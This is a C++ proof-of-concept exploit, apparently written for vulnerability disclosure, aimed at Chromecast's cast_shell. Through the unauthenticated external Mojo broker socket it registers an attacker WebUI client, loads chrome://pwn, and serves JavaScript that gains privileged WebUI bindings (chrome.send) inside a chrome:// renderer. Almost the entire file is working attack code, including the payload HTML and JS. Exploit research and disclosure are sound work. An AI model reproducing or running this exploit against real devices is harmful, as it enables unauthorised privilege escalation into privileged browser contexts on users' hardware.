// POC: External-process attacker that abuses CastWebService::RegisterWebUiClient
// to obtain WebUI bindings (chrome.send / privileged Mojo) for attacker-served
// JavaScript inside a chrome://-locked renderer.
//
// Flow:
//   1. Connect to the cast_shell external Mojo broker Unix socket
//      (/tmp/cast_mojo_broker, mode 0770, no peer-UID check).
//   2. BindInterface("cast_browser", "chromecast.mojom.CastWebService").
//   3. RegisterWebUiClient(<our WebUiClient>, hosts=["pwn"]).
//   4. CreateWebView() -> CastWebContents.
//   5. CastWebContents.LoadUrl("chrome://pwn").
//   6. cast_shell calls back into our WebUiClient/Resources to fetch page bytes;
//      we return HTML/JS that calls chrome.send() and sets document.title.
//   7. We register a WebUI message callback "pwned" via WebUi.RegisterMessageCallback.
//      When chrome.send("pwned", [...]) fires, we receive the args here -> proof.

#include <signal.h>

#include <memory>
#include <string>
#include <utility>
#include <vector>

#include "base/at_exit.h"
#include "base/command_line.h"
#include "base/feature_list.h"
#include "base/files/file_descriptor_watcher_posix.h"
#include "base/functional/bind.h"
#include "base/json/json_writer.h"
#include "base/logging.h"
#include "base/logging/logging_settings.h"
#include "base/memory/ref_counted_memory.h"
#include "base/message_loop/message_pump_type.h"
#include "base/run_loop.h"
#include "base/task/single_thread_task_executor.h"
#include "base/task/thread_pool/thread_pool_instance.h"
#include "base/values.h"
#include "chromecast/browser/mojom/cast_content_window.mojom.h"
#include "chromecast/browser/mojom/cast_web_contents.mojom.h"
#include "chromecast/browser/mojom/cast_web_service.mojom.h"
#include "chromecast/browser/web_types.h"
#include "chromecast/browser/webui/mojom/webui.mojom.h"
#include "chromecast/external_mojo/external_service_support/external_connector.h"
#include "chromecast/external_mojo/public/cpp/common.h"
#include "mojo/core/embedder/embedder.h"
#include "mojo/core/embedder/scoped_ipc_support.h"
#include "mojo/public/cpp/bindings/pending_receiver.h"
#include "mojo/public/cpp/bindings/pending_remote.h"
#include "mojo/public/cpp/bindings/receiver.h"
#include "mojo/public/cpp/bindings/receiver_set.h"
#include "mojo/public/cpp/bindings/remote.h"
#include "services/network/public/cpp/renderer_process_id.h"
#include "url/gurl.h"

namespace {

// Default WebUI CSP is "script-src chrome://resources 'self';" so inline
// <script> is blocked, but a same-origin external script is allowed. We serve
// both the HTML shell and the JS payload.
constexpr char kHtml[] = R"(<!DOCTYPE html>
<html><head><title>loading</title></head>
<body><script src="pwn.js"></script></body></html>)";

// The payload JS. It probes for WebUI-only bindings (chrome.send) and reports
// via document.title (observed through CastWebContentsObserver::UpdateTitle)
// and via chrome.send("pwned", ...) which round-trips back to this process.
constexpr char kJs[] = R"JS(
(function() {
  var hasChromeSend = (typeof chrome !== 'undefined' &&
                       typeof chrome.send === 'function');
  var hasMojo = (typeof Mojo !== 'undefined');
  var msg = 'PWNED chrome.send=' + hasChromeSend +
            ' Mojo=' + hasMojo +
            ' origin=' + location.origin;
  document.title = msg;
  console.log(msg);
  if (hasChromeSend) {
    try { chrome.send('pwned', [msg]); } catch (e) {
      document.title = msg + ' send-threw:' + e;
    }
  }
})();
)JS";

class AttackerResources : public chromecast::mojom::Resources {
 public:
  void RequestResourceBytes(const std::string& path,
                            RequestResourceBytesCallback cb) override {
    LOG(INFO) << "[attacker] RequestResourceBytes path='" << path << "'";
    std::string body;
    if (path.find("pwn.js") != std::string::npos) {
      body = kJs;
    } else {
      body = kHtml;
    }
    std::move(cb).Run(base::MakeRefCounted<base::RefCountedString>(body));
  }
};

class AttackerMessageCallback : public chromecast::mojom::MessageCallback {
 public:
  void OnMessage(base::ListValue list) override {
    std::string json;
    base::JSONWriter::Write(list, &json);
    LOG(ERROR) << "*** [attacker] chrome.send('pwned') ROUND-TRIP: " << json;
    LOG(ERROR) << "*** WebUI bindings granted to attacker-served JS. ***";
  }
};

class AttackerWebUiClient : public chromecast::mojom::WebUiClient {
 public:
  void CreateController(
      const std::string& host,
      mojo::PendingRemote<chromecast::mojom::WebUi> web_ui,
      mojo::PendingReceiver<chromecast::mojom::Resources> resources) override {
    LOG(INFO) << "[attacker] CreateController host=" << host;
    res_receivers_.Add(&resources_, std::move(resources));
    web_ui_.Bind(std::move(web_ui));
    // Register a WebUI message callback so chrome.send("pwned", ...) in the
    // attacker page calls back into this process.
    mojo::PendingRemote<chromecast::mojom::MessageCallback> cb_remote;
    cb_receivers_.Add(&callback_, cb_remote.InitWithNewPipeAndPassReceiver());
    web_ui_->RegisterMessageCallback("pwned", std::move(cb_remote));
  }

  void CreateResources(
      const std::string& host,
      mojo::PendingReceiver<chromecast::mojom::Resources> resources) override {
    LOG(INFO) << "[attacker] CreateResources host=" << host;
    res_receivers_.Add(&resources_, std::move(resources));
  }

 private:
  AttackerResources resources_;
  AttackerMessageCallback callback_;
  mojo::ReceiverSet<chromecast::mojom::Resources> res_receivers_;
  mojo::ReceiverSet<chromecast::mojom::MessageCallback> cb_receivers_;
  mojo::Remote<chromecast::mojom::WebUi> web_ui_;
};

class AttackerObserver : public chromecast::mojom::CastWebContentsObserver {
 public:
  void PageStateChanged(chromecast::PageState state) override {
    LOG(INFO) << "[attacker] PageStateChanged " << static_cast<int>(state);
  }
  void PageStopped(chromecast::PageState state, int32_t err) override {
    LOG(INFO) << "[attacker] PageStopped state=" << static_cast<int>(state)
              << " err=" << err;
  }
  void RenderFrameCreated(network::RendererProcessId pid,
                          int32_t rfid) override {}
  void MainFrameFinishedNavigation() override {
    LOG(INFO) << "[attacker] MainFrameFinishedNavigation";
  }
  void UpdateTitle(const std::string& title) override {
    LOG(ERROR) << "*** [attacker] document.title = '" << title << "'";
  }
  void UpdateFaviconURL(const GURL&) override {}
  void DidFirstVisuallyNonEmptyPaint() override {}
  void ResourceLoadFailed() override {
    LOG(INFO) << "[attacker] ResourceLoadFailed";
  }
  void OnRenderProcessReady(int32_t pid) override {
    LOG(INFO) << "[attacker] renderer pid=" << pid;
  }
  void MediaPlaybackChanged(bool) override {}
  void InnerContentsCreated(
      mojo::PendingRemote<chromecast::mojom::CastWebContents>) override {}
};

class Attacker {
 public:
  void Run() {
    LOG(INFO) << "[attacker] connecting to broker at "
              << chromecast::external_mojo::GetBrokerPath();
    connector_ = chromecast::external_service_support::ExternalConnector::Create(
        chromecast::external_mojo::GetBrokerPath());

    connector_->BindInterface("cast_browser",
                              web_service_.BindNewPipeAndPassReceiver(),
                              /*async=*/false);
    web_service_.set_disconnect_handler(base::BindOnce([] {
      LOG(ERROR) << "[attacker] CastWebService pipe closed";
    }));

    // Step 1: register our WebUiClient for host "pwn".
    mojo::PendingRemote<chromecast::mojom::WebUiClient> client_remote;
    client_receiver_.Bind(client_remote.InitWithNewPipeAndPassReceiver());
    web_service_->RegisterWebUiClient(std::move(client_remote),
                                      std::vector<std::string>{"pwn"});
    LOG(INFO) << "[attacker] RegisterWebUiClient(hosts=['pwn']) sent";

    // Step 2: create a WebView.
    auto params = chromecast::mojom::CastWebViewParams::New();
    params->activity_id = "attacker";
    params->log_js_console_messages = true;
    params->log_prefix = "[attacker-page]";
    web_service_->CreateWebView(std::move(params),
                                web_contents_.BindNewPipeAndPassReceiver(),
                                window_.BindNewPipeAndPassReceiver());

    mojo::PendingRemote<chromecast::mojom::CastWebContentsObserver> obs_remote;
    obs_receiver_.Bind(obs_remote.InitWithNewPipeAndPassReceiver());
    web_contents_->AddObserver(std::move(obs_remote));

    // Step 3: navigate to chrome://pwn -> our factory matches -> CastWebUI is
    // created with full WebUI bindings -> our Resources serve the page bytes.
    web_contents_->LoadUrl(GURL("chrome://pwn/"));
    LOG(INFO) << "[attacker] LoadUrl(chrome://pwn/) sent";
  }

 private:
  std::unique_ptr<chromecast::external_service_support::ExternalConnector>
      connector_;
  mojo::Remote<chromecast::mojom::CastWebService> web_service_;
  mojo::Remote<chromecast::mojom::CastWebContents> web_contents_;
  mojo::Remote<chromecast::mojom::CastContentWindow> window_;

  AttackerWebUiClient client_;
  mojo::Receiver<chromecast::mojom::WebUiClient> client_receiver_{&client_};
  AttackerObserver observer_;
  mojo::Receiver<chromecast::mojom::CastWebContentsObserver> obs_receiver_{
      &observer_};
};

}  // namespace

int main(int argc, char** argv) {
  base::AtExitManager exit_manager;
  base::CommandLine::Init(argc, argv);
  logging::LoggingSettings ls;
  ls.logging_dest = logging::LOG_TO_SYSTEM_DEBUG_LOG | logging::LOG_TO_STDERR;
  logging::InitLogging(ls);
  logging::SetLogItems(true, true, true, false);
  base::FeatureList::InitInstance("", "");
  signal(SIGPIPE, SIG_IGN);

  base::SingleThreadTaskExecutor io_task_executor(base::MessagePumpType::IO);
  base::FileDescriptorWatcher watcher(io_task_executor.task_runner());
  base::RunLoop run_loop;
  mojo::core::Init();
  mojo::core::ScopedIPCSupport ipc_support(
      io_task_executor.task_runner(),
      mojo::core::ScopedIPCSupport::ShutdownPolicy::CLEAN);
  base::ThreadPoolInstance::CreateAndStartWithDefaultParams("attacker");

  Attacker attacker;
  attacker.Run();

  run_loop.Run();
  return 0;
}
